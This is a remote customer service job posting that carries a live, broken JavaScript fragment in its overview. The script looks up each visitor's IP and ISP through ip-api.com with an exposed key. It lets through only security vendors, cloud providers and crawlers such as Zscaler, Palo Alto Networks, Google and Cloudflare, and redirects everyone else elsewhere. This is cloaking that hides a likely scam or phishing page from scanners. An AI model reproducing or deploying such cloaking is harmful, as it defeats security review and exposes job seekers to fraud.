Customer Service Representative – Remote – Full-Time

Customer Service Representative – Remote – Full-Time

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Representative to join our remote team, based in Watsonville, California.

Responsibilities:

  • Provide exceptional support to customers via phone, email, and chat channels.
  • Assist with product inquiries, order processing, and issue resolution.
  • Maintain accurate customer records and update account information.
  • Collaborate with team members to improve service quality and processes.
  • Ensure customer satisfaction by delivering timely and professional assistance.

Skills Needed:

  • Excellent communication and problem-solving abilities.
  • Strong organizational skills and attention to detail.
  • Ability to handle multiple tasks in a fast-paced environment.
  • Comfort with remote work tools and technology.

Benefits:

  • Salary range of $50,000 - $60,000 annually.
  • Flexible remote work environment.
  • Health, dental, and vision insurance options.
  • Paid time off and holidays.
  • Opportunities for professional growth and development.
Emploment Location
California, Watsonville

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